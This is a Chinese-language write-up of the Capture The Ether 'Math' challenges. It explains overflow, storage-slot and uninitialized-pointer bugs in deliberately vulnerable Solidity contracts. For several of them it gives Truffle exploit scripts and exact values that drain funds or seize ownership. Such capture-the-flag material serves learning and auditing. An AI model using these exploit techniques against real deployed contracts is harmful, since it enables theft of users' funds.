Capture The Ether 题解(Math)

Capture The Ether 题解(Math)

·

7 min read

Token sale

目标合约

pragma solidity ^0.4.21;

contract TokenSaleChallenge {
    mapping(address => uint256) public balanceOf;
    uint256 constant PRICE_PER_TOKEN = 1 ether;

    function TokenSaleChallenge(address _player) public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance < 1 ether;
    }

    function buy(uint256 numTokens) public payable {
        require(msg.value == numTokens * PRICE_PER_TOKEN);

        balanceOf[msg.sender] += numTokens;
    }

    function sell(uint256 numTokens) public {
        require(balanceOf[msg.sender] >= numTokens);

        balanceOf[msg.sender] -= numTokens;
        msg.sender.transfer(numTokens * PRICE_PER_TOKEN);
    }
}

通关条件

使得合约中剩余 ETH 数量小于 1

题目分析

既然要求的是无中生有,那就先从溢出的角度看。代码中的 1 ether 具有一定的迷惑性,如果将 1 ether 视为 1,则代码没问题。但是合约中 ETH 的数量单位其实是 wei,1 ether = 10**18 wei,这么看来 buy 函数中的 numTokens PRICE_PER_TOKEN 就很有问题了。我们只需要选择一个数让 numTokens PRICE_PER_TOKEN 溢出,就能够获得超量代币。 uint256 为 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff,也就是:

a = 115792089237316195423570985008687907853269984665640564039457584007913129639935

我们需要他在乘以 10**18 后溢出,简单的处理就是将其最后 18 位截去,再将最后一位加上 1,得到 numTokens:

b = 115792089237316195423570985008687907853269984665640564039458

相应的 msg.value 就是:

b - a - 1 = 415992086870360064

调用 buy 函数后我们就获得了天量代币,卖出 1 个,就能够获得 1 ETH,成功将合约 ETH 余额降低到 1 以下。

调用代码如下:

contract("TokenSale", function (accounts) {
  it("should assert true", async function () {
    let player = accounts[0]
    let challenge = await TokenSale.new(player, {value: web3.utils.toWei('1', 'ether')})
    let num = new web3.utils.BN('115792089237316195423570985008687907853269984665640564039458')
    await challenge.buy(num, {from: player, value: '415992086870360064'})
    await challenge.sell(1)
    assert(await challenge.isComplete() === true)
  });
});

Token whale

目标合约

pragma solidity ^0.4.21;

contract TokenWhaleChallenge {
    address player;

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    string public name = "Simple ERC20 Token";
    string public symbol = "SET";
    uint8 public decimals = 18;

    function TokenWhaleChallenge(address _player) public {
        player = _player;
        totalSupply = 1000;
        balanceOf[player] = 1000;
    }

    function isComplete() public view returns (bool) {
        return balanceOf[player] >= 1000000;
    }

    event Transfer(address indexed from, address indexed to, uint256 value);

    function _transfer(address to, uint256 value) internal {
        balanceOf[msg.sender] -= value;
        balanceOf[to] += value;

        emit Transfer(msg.sender, to, value);
    }

    function transfer(address to, uint256 value) public {
        require(balanceOf[msg.sender] >= value);
        require(balanceOf[to] + value >= balanceOf[to]);

        _transfer(to, value);
    }

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function approve(address spender, uint256 value) public {
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
    }

    function transferFrom(address from, address to, uint256 value) public {
        require(balanceOf[from] >= value);
        require(balanceOf[to] + value >= balanceOf[to]);
        require(allowance[from][msg.sender] >= value);

        allowance[from][msg.sender] -= value;
        _transfer(to, value);
    }
}

通关条件

获得超过 1000000 个 token

题目分析

还是从溢出的角度看。注意到 transferFrom 调用了 transfer,而 transfer 扣除的是 msg.sender 的余额,这可能导致溢出。原因在于,在调用 transferFrom 的时候,msg.sender 很可能只是一个没有持币的代理地址,也就是说 msg.sender 的余额可能为 0,此时被扣除一个正数就会发生溢出。

调用代码如下:

contract("TokenWhale", function (accounts) {
  it("should assert true", async function () {
    let player1 = accounts[0]
    let player2 = accounts[1]
    let recipient = accounts[2]
    let challenge = await TokenWhale.new(player1)
    await challenge.approve(player2, 1000, {from: player1})
    await challenge.transferFrom(player1, recipient, 1, {from: player2})
    await challenge.transfer(player1, 1000000000, {from: player2})
    assert(challenge.isComplete() === true)
  });
});

Retirement fund

目标合约

pragma solidity ^0.4.21;

contract RetirementFundChallenge {
    uint256 startBalance;
    address owner = msg.sender;
    address beneficiary;
    uint256 expiration = now + 10 years;

    function RetirementFundChallenge(address player) public payable {
        require(msg.value == 1 ether);

        beneficiary = player;
        startBalance = msg.value;
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function withdraw() public {
        require(msg.sender == owner);

        if (now < expiration) {
            // early withdrawal incurs a 10% penalty
            msg.sender.transfer(address(this).balance * 9 / 10);
        } else {
            msg.sender.transfer(address(this).balance);
        }
    }

    function collectPenalty() public {
        require(msg.sender == beneficiary);

        uint256 withdrawn = startBalance - address(this).balance;

        // an early withdrawal occurred
        require(withdrawn > 0);

        // penalty is what's left
        msg.sender.transfer(address(this).balance);
    }
}

通关条件

取走合约中的所有 ETH

题目分析

注意到作为 beneficiary 从合约中取款的必要条件是 startBalance - address(this).balance > 0 ,startBalance 和合约目前的 balance 都是 1 ETH。我们只需要让合约的 balance 大于 1 ETH,startBalance - address(this).balance 就会溢出从而使得条件满足。虽然合约中并没有充值函数,也没有 payable fallback 函数,但是我们可以使用 selfdestruct 强制向合约中转入 ETH。所以解题步骤就是:

  1. 部署攻击合约并向合约中充入一点 ETH

  2. 攻击合约自毁,自毁后将 ETH 转入目标合约

  3. 调用目标合约的 collectPenalty 函数

Mapping

目标合约

pragma solidity ^0.4.21;

contract MappingChallenge {
    bool public isComplete;
    uint256[] map;

    function set(uint256 key, uint256 value) public {
        // Expand dynamic array as needed
        if (map.length <= key) {
            map.length = key + 1;
        }

        map[key] = value;
    }

    function get(uint256 key) public view returns (uint256) {
        return map[key];
    }
}

通关条件

把目标合约的 isComplete 改成 true

题目分析

需要我们利用 slot 溢出来修改 Storage 中的数据。阅读代码可知,isComplete 存储于 slot 0 中,map 定义在 slot 1 中,所以 map 中的元素从 slot keccak256(1)(0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6)开始存储。Storage 中一共有 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 个 slot,所以如果 map 中的元素超过 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff - keccak256(1) 就会发生 slot 溢出。我们需要将 slot 0 设置为 1,所以调用 set 函数,参数 key 为 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff - keccak256(1) + 1,value 为 1 即可。

操作代码如下:

contract("Mapping", function (/* accounts */) {
  it("should assert true", async function () {
    let challenge = await Mapping.new()
    let gap = new web3.utils.BN('35707666377435648211887908874984608119992236509074197713628505308453184860938')
    await challenge.set(gap, '1')
    assert(await challenge.isComplete() === true)
  });
});

Donation

目标合约

pragma solidity ^0.4.21;

contract DonationChallenge {
    struct Donation {
        uint256 timestamp;
        uint256 etherAmount;
    }
    Donation[] public donations;

    address public owner;

    function DonationChallenge() public payable {
        require(msg.value == 1 ether);

        owner = msg.sender;
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function donate(uint256 etherAmount) public payable {
        // amount is in ether, but msg.value is in wei
        uint256 scale = 10**18 * 1 ether;
        require(msg.value == etherAmount / scale);

        Donation donation;
        donation.timestamp = now;
        donation.etherAmount = etherAmount;

        donations.push(donation);
    }

    function withdraw() public {
        require(msg.sender == owner);

        msg.sender.transfer(address(this).balance);
    }
}

通关条件

将合约中的 ETH 全部取走

题目分析

单纯看代码的话:

  1. donate 函数中的 scale 计算逻辑是错误的,合约收取的 ETH 数量将是其记录的金额的 1 / 10**36。

  2. Donation donation 实际上声明了一个未定义指向目标的 Storage pointer,其默认指向位置为 slot 0。这种写法在 solidity 0.5.0 之后将会抛出 error。具体可以参考这篇文章Solidity 的文档

这个合约的 slot 0 存放的是 donations 的长度,slot 1 存放的是 owner。在 donations.push(donation) 执行后,donation.timestamp+1 会覆盖 slot 0 的数据(要 +1 是因为 push 会增加 donations 的长度,所以会让 slot 0 的数据 +1),etherAmount 会覆盖 slot 1 的数据。所以解法就比较明显了--通过 etherAmount 来修改存放在 slot 1 中的 owner。具体来说就是,将自己的地址转换为 uint256 作为 etherAmount,将 etherAmount / 10**36 作为 msg.value 调用 donate 方法即可成为 owner,之后直接调用 withdraw 提现就可通关。

Fifty years

目标合约

pragma solidity ^0.4.21;

contract FiftyYearsChallenge {
    struct Contribution {
        uint256 amount;
        uint256 unlockTimestamp;
    }
    Contribution[] queue;
    uint256 head;

    address owner;
    function FiftyYearsChallenge(address player) public payable {
        require(msg.value == 1 ether);

        owner = player;
        queue.push(Contribution(msg.value, now + 50 years));
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function upsert(uint256 index, uint256 timestamp) public payable {
        require(msg.sender == owner);

        if (index >= head && index < queue.length) {
            // Update existing contribution amount without updating timestamp.
            Contribution storage contribution = queue[index];
            contribution.amount += msg.value;
        } else {
            // Append a new contribution. Require that each contribution unlock
            // at least 1 day after the previous one.
            require(timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days);

            contribution.amount = msg.value;
            contribution.unlockTimestamp = timestamp;
            queue.push(contribution);
        }
    }

    function withdraw(uint256 index) public {
        require(msg.sender == owner);
        require(now >= queue[index].unlockTimestamp);

        // Withdraw this and any earlier contributions.
        uint256 total = 0;
        for (uint256 i = head; i <= index; i++) {
            total += queue[i].amount;

            // Reclaim storage.
            delete queue[i];
        }

        // Move the head of the queue forward so we don't have to loop over
        // already-withdrawn contributions.
        head = index + 1;

        msg.sender.transfer(total);
    }
}

通关条件

将合约中的 ETH 全部取走

题目分析

蛮复杂的题。这个合约在 solidity 0.5.0 及以上版本中是编译不过的。非常明显的,upsert 函数中 else 代码块的 contribution 根本就没有声明......(佩服在 0.5.0 之前写 solidity 的大佬们)这个 contribution 同样是个未初始化的 Storage pointer,指向 slot 0。

观察合约,注意以下事实:

  1. queue.length 存放于 slot 0

  2. head 存放于 slot 1

  3. else 代码块中的 contribution 会用 amount 覆盖 slot 0,修改 queue.length;会用 timestamp 覆盖 slot 1,修改 head。

  4. else 代码块中的 contribution 会被 push 到 queue 中去

  5. else 代码块中的 require 语句存在不安全的加法运算,timestamp + 1 days(即 20 x 60 x 60)有溢出的可能

我们需要做的事有:

  1. 构造特定的 contribution,其 unlockTimestamp 足够小,使得我们能通过 withdraw 函数的校验

  2. 令 head 为 0,使得调用 withdraw 函数时可以将所有 contribution 资金都取出

  3. 需要注意的是,contribution.timestamp 会覆盖 head,将 1 和 2 结合起来,我们的目的就是插入 timestamp 为 0 的 contribution

初始化合约之后, queue.length 为 1, head 为 0,queue[0] 的 amount 为 1 ether,queue[0] 的 unlockTimestamp 为 now + 50 years,合约 ETH 余额为 1 ether。

既然我们需要构建出一个 unlockTimestamp 为 0 的 contribution,在 upsert 函数中就显然不能走 if 代码块,而应该走 else 代码块。这就要求我们设法通过 else 代码块的 require 检验。结合上面的事实 5,考虑构建 contribution1,其 unlockTimestamp + 1 day 会溢出为 0。所以第一个调用为:

// index 在 else 代码块中用不到,可以随意设置
contract.upsert(10, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff - 24 * 60 * 60 + 1)

还需要注意到,contribution 插入后,queue.length 应该为 2。我们的操作会导致存放 queue.length 的 slot 0 被覆盖,所以我们需要选择合适的 msg.value 使得 queue.length 为正确数值。我们转入的 msg.value 为 1 wei,由于执行 queue.push 的时候 slot 0 的数值会被加上 1,所以 slot 0 会变为 1 + 1 = 2,也就是说 queue.length 仍为 2。 但是这是又会发生一个问题:queue.push 之后,slot 0 和 slot 1 的数值作为 contribution 的 amount 和 timestamp 被复制到 queue[1] 中去了,所以 queue[1].amount 为 2 wei,比我们实际存入的要多了 1 wei。

接下来我们再次调用 upsert 构建 contribution2:

// timestamp 设置为 0,等于 contribution1.unlockTimestamp + 1 days,可以通过 require 检查
contract.upsert(10, 0)

这样我们就得到了一个 timestamp 为 0 的 contribution(也就是说 head 为 0),此时已经可以通过 withdraw 来取款了。现在考虑 msg.value。如果我们转入 2 wei,则 queue.length 为正确数值 3,queue[2].amount 为 3 wei。我们总共转入 1 ether + 3 wei,而 queue 中三个 contribution 的 amount 分别为:

  1. queue[0].amount == 1 ether

  2. queue[1].amount == 2 wei

  3. queue[2].amount == 3 wei

这样我们是无法将资金取干净的。

但是如果我们转入 1 wei 的话,存入总金额为 1 ether + 2 wei,contribution 的情况如下:

  1. queue[0].amount == 1 ether

  2. queue[1].amount == 2 wei

  3. queue[2].amount == 2 wei(queue.length 为 2,所以无法正常访问到)

此时我们只需要调用 contract.withdraw(1) 就可以取出合约内所有资金!这样操作的意义等同于我们将第二次的 1 wei 用来填补上次合约多增加的 1 wei。